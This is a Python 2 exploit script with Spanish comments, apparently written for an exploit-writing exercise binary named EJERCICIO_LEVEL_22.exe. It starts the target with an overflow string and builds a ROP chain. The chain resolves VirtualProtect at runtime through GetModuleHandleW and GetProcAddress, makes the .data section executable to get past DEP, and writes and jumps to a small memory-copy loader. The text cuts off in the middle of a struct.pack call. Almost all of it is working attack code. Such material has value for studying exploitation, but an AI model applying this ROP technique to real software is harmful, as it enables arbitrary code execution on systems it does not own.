import struct import random, string from os import * def randomword(length): return ''.join(random.choice(string.letters) for i in range(length)) stdin,stdout = popen4(r"EJERCICIO_LEVEL_22.exe " + 200 * "A") raw_input() print stdin #choreado de Gus rop_gadgets = [ #Pasamos el string "VirtualProtect" a una direccion conocida 0X10102095, #--- POP EDI 0x10120000, #--- ADDR1 PRIMER DWORD 0X101159DE, #--- POP EDX RETN 0x74726956, #--- DATA1 0X1010ABB8, #--- MOV DWORD PTR DS:[EDI],EDX -POP EDI -RETN 0x10120004, #--- ADDR2 DEL POP EDI ANTERIOR 0X101159DE, #+++ POP EDX RETN 0x506c6175, #+++ DATA2 SEGUNDO DOWRD 0X1010ABB8, #+++ MOV DWORD PTR DS:[EDI],EDX -POP EDI -RETN 0x10120008, #+++ ADDR3 DEL POP EDI ANTERIOR 0X101159DE, #--- POP EDX RETN 0x65746f72, #--- DATA3 TERCER DOWRD 0X1010ABB8, #--- MOV DWORD PTR DS:[EDI],EDX -POP EDI -RETN 0x1012000c, #--- ADDR4 DEL POP EDI ANTERIOR 0X101159DE, #+++ POP EDX RETN 0x00007463, #+++ DATA4 CUARTP DOWRD 0X1010ABB8, #+++ MOV DWORD PTR DS:[EDI],EDX -POP EDI -RETN 0xFFFFFFFF, #+++ FILLER #Sacamos la addr de VirtualProtect 0X10101C0C, #--- CALL GetModuleHandleW GADGET 0X10118380, #--- p_"kernel32" Este string esta en mem asi que 10 puntos 0x1010CA59, #+++ push eax, call GetProcAddress GADGET 0x10120000, #+++ p_"VirtualProtect" Este string es el que escribo dword a dword al arranque 0xFFFFFFFF, 0xFFFFFFFF, #+++ FILLER para compensar el GetProcAddress 0xFFFFFFFF, 0xFFFFFFFF, # Hacemos VP a nuestra seccion 0x10104384, #--- CALL EAX, RETN GADGET # A esta altura tengo en EAX la direccion de VirtualProtect 0x1011f000, #--- lpaddress 0x00002000, #--- dwSize 0x00000040, #--- flNewProtect 0x10120020, #--- lpOldProtect #Address=1011F000 #Size=00002000 #Page Information=".data" #Content of section=Initialized data #Allocation Type=IMG #Current Protection=-RWC- #Allocation Protection=ERWC- #escribios el loader en nuestra alternativamente podriamos usar memcpy que esta en el exe 0X10102095, #+++ POP EDI 0x1011f000, #+++ ADDR1 PRIMER DWORD DEL "REP MOVSD" 0X101159DE, #+++ POP EDX RETN 0xE689595F, #+++ DATA1 0X1010ABB8, #+++ MOV DWORD PTR DS:[EDI],EDX -POP EDI -RETN 0x1011f004, #+++ ADDR2 DEL POP EDI ANTERIOR 0X101159DE, #--- POP EDX RETN 0x9090A5F3, #--- DATA2 SEGUNDO DOWRD DEL "REP MOVSD" 0X1010ABB8, #--- MOV DWORD PTR DS:[EDI],EDX -POP EDI -RETN 0XFFFFFFFF, #--- FILLER #ejecutamos el loader 0X1011F000, #+++ 0x1011F007, #+++ PARAMETROS PARA EL REP MOVS 0x00000040 #+++ ] rop = ''.join(struct.pack('